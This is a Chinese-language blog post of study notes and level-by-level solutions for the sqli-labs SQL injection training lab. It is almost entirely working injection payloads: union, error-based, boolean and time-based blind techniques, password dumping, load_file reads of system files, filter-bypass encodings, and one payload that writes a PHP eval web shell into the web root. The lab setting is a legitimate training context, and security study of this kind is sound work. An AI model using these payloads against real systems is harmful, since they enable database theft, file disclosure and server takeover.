Sql Labs Record
Sql Labs Record
Sql-labs记录
title: “A XssPayload Analysis” date: 2019-07-05T14:51:16+08:00 lastmod: 2019-07-05T14:51:16+08:00 draft: false tags: [代码学习] categories: []
comment: true
记录了一些sql-labs的闯关历史
随记 version()——MySQL 版本 user()——数据库用户名 database()——数据库名 @@datadir——数据库路径 @@version_compile_os——操作系统版本 information_schema 自带数据库 information_schema.schemata 数据库 information_schema.tables 数据表 information_schema.columns 数据列 floor函数返回小于等于该值的最大整数 RAND()函数调用可以在0和1之间产生一个随机数
报错注入:
rand()
floor()
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))) -- +
1' and updatexml(1,user(),1) --+
只有在payload返回的不是xml格式才会生效,其最长输出32位
extractvalue(1,concat('~',user(),'~'))
其最长输出32位
简化
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
关键表被禁用
select count(*) from (select 1 union select null union
select !1)a group by concat(version(),floor(rand(0)*2))
rand 禁用
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
exp
select exp(~(select * FROM(SELECT USER())a))
mysql重复性
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
布尔注入
left(database(),1)>'s' 截取数据库第一位
ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+
substr(a,b,c) 从b位置开始,截取字符串a的c长度
ascii() 将某个字符转为ascii值
ascii(substr(select database()),1,1)=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
mid(a,b,c) 从位置b开始,街区a字符床的c位
ord()同ascii(),将字符串转为ascii值
regexp 正则注入
select user() regexp '^[a-z]';
select user() regexp '^ro'
I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
like 匹配注入
select user() like 'root%'
延时注入
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
导入导出操作
load_file()导出文件 Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))) -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码 -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69” -1 union select 1,1,1,load_file(c:\\boot.ini) Explain:路径里的/用 \\代替
LOAD DATA INFILE 导入
==============================================================================================
第一关(联合开始)
and 1=1 --+
id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
id=-1' union select 1,2,(select group_concat(password) from users) --+
第二关
id=1 and 1=2
第三关
id=1') and 1=2
第四关(联合结束)
id=1") and 1=2 --+
第五关(报错开始)
id=1' and (select 1 from (select count(*),concat((user()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20group_concat(0x7e,schema_name,0x7e)%20FROM%20information_schema.schemata%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,
第六关
id=1" and updatexml(1,concat('~',user(),'~'),1) --+
第五关(盲注)
1' and left(version(),1)=5 --+ and length(database()=8) --+
第六关(盲注)
1" and left(version(),1)=5 --+
第七关
?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
第八关
id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
第九关
id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)
第十关
id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
第十一关(POST开始)
uname=admin &passwd=-admin' union select 1,(select group_concat(schema_name) from information_schema.schemata) # &submit=Submit
第十二关
uname=admin &passwd=-admin") union select 1,(select group_concat(schema_name) from information_schema.schemata) # &submit=Submit
第十三关
uname=admin') and ascii(substr((database()),1,1))=115 # &passwd=admin &submit=Submit
第十四关
uname=admin" and ascii(substr((database()),1,1))=115 # &passwd=admin &submit=Submit uname=admin" and extractvalue(1,concat('~',user(),'~')) # &passwd=admin &submit=Submit
第十五关
uname=admin' and If(ascii(substr(database(),1,1))=115,sleep(5),1) # &passwd=admin &submit=Submit
第十六关
uname=admin") and If(ascii(substr(database(),1,1))=115,sleep(5),1) # &passwd=admin &submit=Submit
第十七关
uname=admin &passwd=admin' and extractvalue(1,concat('~',user(),'~')) # &submit=Submit
第十八关
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
第十九关
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
第二十关
cookies:Dumb' and extractvalue(1,concat('~',user(),'~')) #
- 第二十一关
YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2 VkaXIpLDB4N2UpKSM=
第二十二关
admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
第二十三关(基于错误无注释)
?id=1' and extractvalue(1,concat('~',user(),'~')) or '1'='1
- 第二十四关(二次注入)
- 第二十五关(过滤or、and)
- 大小写:Or,OR,oR
- 编码,hex,urlencode
- 添加注释/or/
利用符号 and=&& or=||
id=1'|| extractvalue(1,concat(0x7e,database()))--+
-第二十六关 (过滤空格)
id=-1'%0a%26%26'1'='2
-第二十七关(过滤SELECT & UNION)
id=-1'%0a%26%26'1'='1
index.php?id=100'%0aUNion%0aSelEcT%0a1,database(),3%0a%26%26'1
-第二十八关(过滤SELECT & UNION)
id=1'%0aand%0a1=2%26%26'1
- 第三十二关(宽子节开始)
id=-1%df' union select 1,user(),3 --+
第三十三关
id=-1%df' union select 1,user(),3 --+
- 上一篇: Security Support Provider
- 下一篇: Mysql Injection